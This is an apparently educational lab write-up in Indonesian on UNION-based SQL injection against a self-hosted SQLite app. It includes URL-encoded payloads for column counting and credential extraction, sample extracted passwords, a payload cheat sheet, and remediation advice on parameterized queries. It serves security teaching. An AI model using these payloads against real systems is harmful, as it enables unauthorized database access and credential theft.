

VERZEN

W E B S E C U R I T Y L E A R N I N G M O D U L E

REPORTER Verzen

MODULE VER-02 – UNION Attack (SQL Injection)

LEVEL MEDIUM

TARGET http://127.0.0.1:8011 – lab lokal milik sendiri (SQLite)

PREREQ VER-01 – filter bypass dengan OR 1=1

METHOD Probing manual via curl + browser: penghitungan kolom ORDER BY, ekstraksi UNION SELECT, reproduksi clean-session.

Ringkasan

ID	LEVEL	TUJUAN
VER-02.1	STEP	Hitung jumlah kolom query rentan dengan ORDER BY
VER-02.2	STEP	Identifikasi kolom yang menampilkan teks (UNION SELECT string)
VER-02.3	GOAL	Ekstrak username + password tabel users tersembunyi — dapatkan kredensial administrator

DESCRIPTION

Di lab pemula (VER-01), payload OR 1=1 hanya mematikan filter — data yang bocor tetap berasal dari query asli. Serangan UNION naik kelas: operator UNION menempelkan hasil query kedua buatan penyerang ke hasil query asli. Server bisa dibuat menjalankan `SELECT password FROM users` lalu menampilkannya di halaman produk.

Syarat mutlak UNION (wajib dipenuhi keduanya):

1. Jumlah kolom sama dengan query asli — dipastikan dengan ORDER BY.
2. Tipe data tiap kolom kompatibel — dipastikan dengan mengganti nilai dengan string 'a' atau NULL.

METODOLOGI — 4 LANGKAH

1. Hitung kolom: suntik ' ORDER BY 1--, lalu 2--, 3-- ... Angka terbesar yang TIDAK menyebabkan error = jumlah kolom.
2. Cari kolom teks: suntik ' UNION SELECT 'a',NULL-- lalu ' UNION SELECT NULL,'a'--. Kolom yang menampilkan 'a' = kolom teks.
3. Temukan nama tabel: tebak umum (users, accounts) atau baca sqlite_master (SQLite) / information_schema (MySQL).
4. Ekstrak data: ' UNION SELECT username,password FROM users--

LANGKAH REPRODUKSI

Semua request dijalankan pada lab lokal (127.0.0.1:8011) milik sendiri. Karakter ' dikirim sebagai %27, spasi sebagai %20.

Langkah 1 — ORDER BY (penghitungan kolom)

```
GET /filter?kategori=Gifts%27%20ORDER%20BY%202-- -> 200 OK
GET /filter?kategori=Gifts%27%20ORDER%20BY%203-- -> 500 ERROR
Kesimpulan: query asli memiliki 2 kolom (nama, harga).
```

Langkah 2 — UNION SELECT string (cek kolom teks)

```
GET /filter?kategori=%27%20UNION%20SELECT%20%27a%27,%27b%27--
```

Hasil: baris baru "a | b" tampil di tabel -> kedua kolom menerima teks.

Langkah 3 — Ekstraksi kredensial (serangan utama)

```
GET /filter?kategori=%27%20UNION%20SELECT%20username,password%20FROM%20users--
```

Query server yang terbajak:

```
SELECT nama, harga FROM products WHERE kategori = '' UNION  
SELECT username, password FROM users--' AND released = 1
```

HASIL

USERNAME	PASSWORD
administrator	Flag{union_attack_medium}
carlos	Montoya123
wiener	PeterWiener

Urutan baris bisa berbeda. administrator + flag = misi selesai.

MENGAPA BERHASIL

Query asli mengembalikan 2 kolom; query penyerang juga 2 — jumlah dan tipe cocok sehingga SQLite mengeksekusi keduanya dan menempelkan hasilnya. Kode server menampilkan SEMUA baris tanpa memeriksa asal-usulnya, sehingga kredensial ikut ter-render di halaman produk. Titik lemah sebenarnya bukan UNION-nya, melainkan penggabungan string input ke SQL.

REKOMENDASI

1. Parameterized query — input tidak pernah menjadi kode SQL:
2. Whitelist kategori — validasi nilai terhadap daftar tetap.
3. Least privilege — akun DB aplikasi tidak butuh membaca tabel users.
4. Jangan tampilkan error mentah — catat di log internal saja.

```
cur.execute("SELECT nama, harga FROM products WHERE kategori = ? AND released = 1", (kategori,))
```

LAMPIRAN — CHEAT SHEET UNION

```
Jumlah kolom      : ' ORDER BY N--          (naikkan N sampai error)  
Kolom teks       : ' UNION SELECT 'a',NULL-- (geser 'a' ke tiap kolom)  
Nama tabel (SQLite): ' UNION SELECT name,NULL FROM sqlite_master--  
Skema tabel      : ' UNION SELECT sql,NULL FROM sqlite_master WHERE type='table'  
Ekstrak data     : ' UNION SELECT username,password FROM users--  
MySQL ekuivalen  : information_schema.tables / .columns
```

CATATAN HUKUM

Seluruh teknik dalam modul ini hanya untuk lab milik sendiri (localhost). Menggunakannya pada sistem pihak lain tanpa izin tertulis merupakan tindakan ilegal. Jalur legal menuju target nyata: program bug bounty dengan scope jelas (HackerOne, Bugcrowd, ImmuneFi).